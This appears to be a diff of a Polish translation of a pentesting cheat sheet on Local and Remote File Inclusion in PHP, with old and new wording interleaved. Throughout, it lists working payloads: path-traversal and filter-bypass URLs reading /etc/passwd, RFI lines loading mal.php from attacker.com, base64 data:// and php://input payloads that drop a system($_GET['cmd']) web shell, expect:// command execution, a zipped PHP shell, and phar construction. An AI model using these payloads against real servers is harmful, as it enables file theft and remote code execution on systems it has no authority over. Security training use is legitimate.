Spróbuj także usunąć `C:/` i dodać `../../../../../`
|
||||
|
||||
Lista, która wykorzystuje kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje), znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Listę, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Sprawdź listę LFI dla linux.
|
||||
Sprawdź listę LFI dla Linux.
|
||||
|
||||
## Podstawowe LFI i obejścia
|
||||
|
||||
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (strona=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być też zastosowane do Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sekwencje przejścia usunięte nienawrotnie
|
||||
### traversal sequences usuwane nierekursywnie
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Ominięcie dodawania więcej znaków na końcu podanego ciągu (ominięcie: $\_GET\['param']."php")
|
||||
Bypass omijający dodawanie dodatkowych znaków na końcu podanego łańcucha (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
To jest **rozwiązane od PHP 5.4**
|
||||
To zostało **rozwiązane od PHP 5.4**
|
||||
|
||||
### **Kodowanie**
|
||||
|
||||
Możesz użyć niestandardowych kodowań, takich jak podwójne kodowanie URL (i inne):
|
||||
Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Z istniejącego folderu
|
||||
|
||||
Może backend sprawdza ścieżkę folderu:
|
||||
Być może back-end sprawdza ścieżkę folderu:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Badanie katalogów systemu plików na serwerze
|
||||
### Eksploracja katalogów systemu plików na serwerze
|
||||
|
||||
System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć:
|
||||
System plików serwera można przeszukiwać rekursywnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
|
||||
|
||||
1. **Ustal głębokość katalogu:** Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując na głębokość trzy:
|
||||
1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku /etc/passwd (dotyczy serwerów opartych na Linuksie). Przykładowy URL może wyglądać następująco, wskazując głębokość 3:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Skanowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
|
||||
2. **Probe for Folders:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
||||
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
||||
- **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona.
|
||||
4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje pod wskazaną ścieżką.
|
||||
- **Zawartość `/etc/passwd`:** Potwierdzono obecność folderu `private`.
|
||||
4. **Eksploracja rekurencyjna:** Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
|
||||
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
|
||||
Dla eksploracji katalogów w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Technika skracania ścieżek**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Skracanie ścieżek to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez omijanie pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
|
||||
Path truncation is a method employed to manipulate file paths in web applications. Często jest wykorzystywana do uzyskania dostępu do plików z ograniczonym dostępem przez obejście mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal będzie wskazywać na żądany plik.
|
||||
|
||||
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:
|
||||
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. Na przykład:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
|
||||
- Gdy ostatnie 6 znaków to `passwd`, dodanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
|
||||
- Podobnie, jeśli `.php` jest dodawane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
|
||||
- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskiwany jest dostęp.
|
||||
|
||||
Podane przykłady pokazują, jak wykorzystać skracanie ścieżek do uzyskania dostępu do `/etc/passwd`, powszechnego celu z powodu jego wrażliwej zawartości (informacje o kontach użytkowników):
|
||||
Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.
|
||||
W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera.
|
||||
|
||||
- **Używanie segmentów kropek i dodatkowych znaków**: Sekwencje przejść (`../`) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji w systemie plików, skutecznie ignorując dołączone ciągi przez serwer.
|
||||
- **Określenie wymaganej liczby przejść**: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji `../`, które są potrzebne do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (jak `.php`) są neutralizowane, ale pożądana ścieżka (`/etc/passwd`) pozostaje nienaruszona.
|
||||
- **Zaczynanie od fałszywego katalogu**: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak `a/`). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera.
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) połączone z dodatkowymi dot segments i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując przez serwer dołączone ciągi znaków.
|
||||
- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebnych do przejścia do katalogu root, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, podczas gdy żądana ścieżka (`/etc/passwd`) pozostanie nienaruszona.
|
||||
- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest używana jako środek ostrożności lub do spełnienia wymagań logiki parsowania ścieżek serwera.
|
||||
|
||||
Podczas stosowania technik skracania ścieżek kluczowe jest zrozumienie zachowania analizy ścieżek serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najskuteczniejszą metodę.
|
||||
Stosując techniki path truncation, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często niezbędne, aby znaleźć najbardziej efektywną metodę.
|
||||
|
||||
**Ta podatność została naprawiona w PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Sztuczki omijania filtrów**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:
|
||||
W php jest to wyłączone domyślnie, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, aby działało, i w takim przypadku możesz dołączyć plik PHP ze swojego serwera i uzyskać RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć protokołu danych z base64, aby dekodować kod PHP w b64 i uzyskać RCE:
|
||||
Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP filtruje dostęp do zewnętrznych stron, [według tego wpisu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć data protocol z base64, aby zdekodować b64 PHP code i uzyskać RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
|
||||
> W poprzednim kodzie na końcu dodano `+.txt`, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a w konsekwencji wykonany).
|
||||
|
||||
Inny przykład **nie używający protokołu `php://`** to:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Element root w Pythonie
|
||||
|
||||
W Pythonie w kodzie takim jak ten:
|
||||
W Pythonie, w kodzie takim jak ten:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Jeśli użytkownik przekaże **absolutną ścieżkę** do **`file_name`**, **poprzednia ścieżka jest po prostu usuwana**:
|
||||
Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostaje po prostu usunięta**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
To jest zamierzona funkcjonalność zgodnie z [dokumentacją](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są ignorowane, a łączenie kontynuuje od komponentu ścieżki bezwzględnej.
|
||||
> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką bezwzględną.
|
||||
|
||||
## Java Lista Katalogów
|
||||
## Java Listowanie katalogów
|
||||
|
||||
Wygląda na to, że jeśli masz Path Traversal w Javie i **prosisz o katalog** zamiast pliku, **zwracana jest lista katalogu**. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).
|
||||
Wygląda na to, że jeśli masz Path Traversal w Java i **zażądasz katalogu** zamiast pliku, **zwrócona zostanie lista zawartości katalogu**. Nie będzie to miało miejsca w innych językach (o ile wiem).
|
||||
|
||||
## 25 najważniejszych parametrów
|
||||
## Top 25 parameters
|
||||
|
||||
Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie plików (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Oto lista top 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI przy użyciu wrapperów i protokołów PHP
|
||||
## LFI / RFI używające wrapperów i protokołów PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:
|
||||
Filtry PHP pozwalają wykonywać podstawowe **operacje modyfikacji danych** zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów:
|
||||
|
||||
- [Filtry ciągów](https://www.php.net/manual/en/filters.string.php):
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")
|
||||
- Zauważ, że ten filtr zniknął z nowoczesnych wersji PHP
|
||||
- [Filtry konwersji](https://www.php.net/manual/en/filters.convert.php)
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
|
||||
- `convert.iconv.*` : Konwertuje do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań** uruchom w konsoli: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md).
|
||||
> Nadużywając filtru konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne, by zapisać dowolny tekst lub sprawić, że funkcja taka jak include przetworzy dowolny tekst. Więcej informacji znajdziesz w [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji)
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Kompresuje zawartość (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Dekompresuje dane
|
||||
- [Filtry szyfrowania](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Przestarzałe
|
||||
- `mdecrypt.*` : Przestarzałe
|
||||
- Inne filtry
|
||||
- Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Other Filters
|
||||
- Uruchamiając w PHP `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- `consumed`
|
||||
- `dechunk`: odwraca kodowanie HTTP chunked
|
||||
- `dechunk`: odwraca HTTP chunked encoding
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Część "php://filter" jest nieczuła na wielkość liter
|
||||
> Część "php://filter" nie rozróżnia wielkości liter
|
||||
|
||||
### Używanie filtrów php jako oracle do odczytu dowolnych plików
|
||||
### Użycie php filters jako oracle do czytania dowolnych plików
|
||||
|
||||
[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boolean exfiltration pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
|
||||
|
||||
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
|
||||
W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie:
|
||||
|
||||
- Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
|
||||
- To będzie użyte do wygenerowania **tekstu tak dużego, że gdy początkowa litera jest odgadnięta poprawnie**, php wywoła **błąd**.
|
||||
- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
|
||||
- Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
|
||||
- Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego).
|
||||
- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
|
||||
- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci porządkowej, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
|
||||
- A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
|
||||
- Użyj kodeka **`UCS-4LE`** aby pozostawić pierwszy znak tekstu na początku i sprawić, że rozmiar łańcucha będzie rósł wykładniczo.
|
||||
- Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta** php wywoła **błąd**.
|
||||
- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy sprawdzić, czy pierwszy znak jest hex.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, by przestała być znakiem szesnastkowym. Ponieważ jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd php.
|
||||
- Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to ustalić, czy pierwsza litera to na przykład `a`, ponieważ jeśli zastosujemy 6 razy ten kodek a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym, więc dechunk jej nie usunie i zostanie wywołany błąd php, ponieważ mnoży się z początkową bombą.
|
||||
- Stosując inne transformacje, jak **rot13** na początku, można leakować inne znaki, takie jak n, o, p, q, r (i inne kodeki można użyć, by przesunąć inne litery do zakresu hex).
|
||||
- Gdy początkowy znak jest cyfrą, trzeba go zakodować base64 i leakować pierwsze 2 znaki, aby leakować liczbę.
|
||||
- Końcowym problemem jest ustalenie, **jak leakować więcej niż początkową literę**. Używając filtrów zmieniających kolejność bajtów, jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić kolejność znaków i umieścić na pierwszej pozycji inne litery z tekstu.
|
||||
- A aby móc uzyskać **dalsze dane** pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby to **pivot with the next 2 bytes**, oraz **usunąć dane aż do junk data** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do pożądanego fragmentu do leakowania.
|
||||
|
||||
W poście wyciekła również narzędzie do automatyzacji tego procesu: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
W poście opublikowano również narzędzie automatyzujące to: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do wycieknięcia zawartości otwartych plików:
|
||||
Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Możesz również użyć **php://stdin, php://stdout i php://stderr** do uzyskania dostępu do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak to może być przydatne w ataku)
|
||||
Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)
|
||||
|
||||
### zip:// i rar://
|
||||
### zip:// and rar://
|
||||
|
||||
Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.\
|
||||
Aby móc nadużywać protokołu rar, **musi być on specjalnie aktywowany**.
|
||||
Wgraj plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\
|
||||
Aby móc wykorzystać protokół rar, **musi być on specjalnie aktywowany**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Zauważ, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`**
|
||||
Uwaga: ten protokół jest ograniczony ustawieniami PHP **`allow_url_open`** i **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect musi być aktywowany. Możesz wykonać kod używając tego:
|
||||
Expect musi być włączony. Możesz uruchomić kod za jego pomocą:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Określ swój ładunek w parametrach POST:
|
||||
Określ swój payload w parametrach POST:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
Plik `.phar` może być wykorzystany do wykonywania kodu PHP, gdy aplikacja webowa korzysta z funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP ilustruje tworzenie pliku `.phar`:
|
||||
Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -358,90 +358,91 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być potencjalnie wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
|
||||
Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może zostać wykorzystany do eksploitacji podatności Local File Inclusion (LFI).
|
||||
|
||||
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`.
|
||||
W przypadkach, gdy LFI jedynie odczytuje pliki bez wykonywania zawartego w nich kodu PHP — przez funkcje takie jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()` — można spróbować wykorzystać podatność typu deserialization. Ta podatność wiąże się z odczytem plików przy użyciu protokołu `phar`.
|
||||
|
||||
Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
